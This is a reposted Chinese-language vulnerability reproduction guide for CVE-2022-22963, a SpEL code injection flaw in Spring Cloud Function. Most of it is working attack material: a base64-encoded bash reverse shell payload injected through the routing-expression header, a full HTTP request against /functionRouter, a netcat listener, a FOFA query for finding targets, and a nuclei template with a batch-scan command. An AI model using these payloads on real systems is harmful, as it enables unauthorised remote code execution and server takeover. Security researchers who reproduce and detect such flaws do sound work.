CVE-2022-22963 Spring Cloud Function SpEL 代码注入

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 CVE-2022-22963 Spring Cloud Function SpEL 代码注入

0x01 阅读须知

0x02 漏洞描述

springcloudFunction提供了一种通用模型，用于在各种平台上部署基于函数的软件，包括AmazonAWSLambda等FaaS（函数即服务）平台。该漏洞是由于在/functionRouter的POST请求头中添加一个spring.cloud.function.routing-expression参数，SpringCloudFunction会直接将参数值带入SpEL中查询导致SpEL注入。

0x03 漏洞复现

漏洞影响: Spring 3 <= 版本 <= 3.2.2

FOFA:app=”spring”

1.构造base64加密并解密反弹shell的脚本

地址：
http://ir0ny.top/pentest/reverse-encoder-shell.html
代码：
bash -c {echo,YmFzaCAtaSA+JiAvxxV2L3Rjcxx8xOxIuxxY4LjMxLjEwMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

2.构造反弹shell的payload

payload:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvxxV2L3Rjcxx8xOxIuxxY4LjMxLjEwMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}")

HTTP报文：
POST /functionRouter HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSxxJiAvZGV2LxxxcC8xxOTxMTY4LjMxLjEwMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}")
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
Content-Length: 4

test

3.nc监听7777端口，得到一个shell

nc.exe -lvvp 7777

4.nuclei已经集成该漏洞脚本（nuclei稳定快，编写poc简单，有社区维护，推荐使用）

nuclei下载地址：http://github.com/projectdiscovery/nuclei

批量验证命令：
nnuclei.exe -t cves/2022/CVE-2022-22963.yaml -l subs.txt

yaml POC：
id: CVE-2022-22963

info:
  name: Spring Cloud Function SPEL RCE
  author: Mr-xn,Adam Crosser
  severity: critical
  description: |
    In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
  reference:
    - http://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
    - http://github.com/cckuailong/spring-cloud-function-SpEL-RCE
    - http://tanzu.vmware.com/security/cve-2022-22963
    - http://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
    - http://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22963
    cwe-id: CWE-94
  tags: cve,cve2022,springcloud,rce

requests:
  - raw:
      - |
        POST /functionRouter HTTP/1.1
        Host: {{Hostname}}
        spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}")
        Content-Type: application/x-www-form-urlencoded

        {{rand_base(8)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 500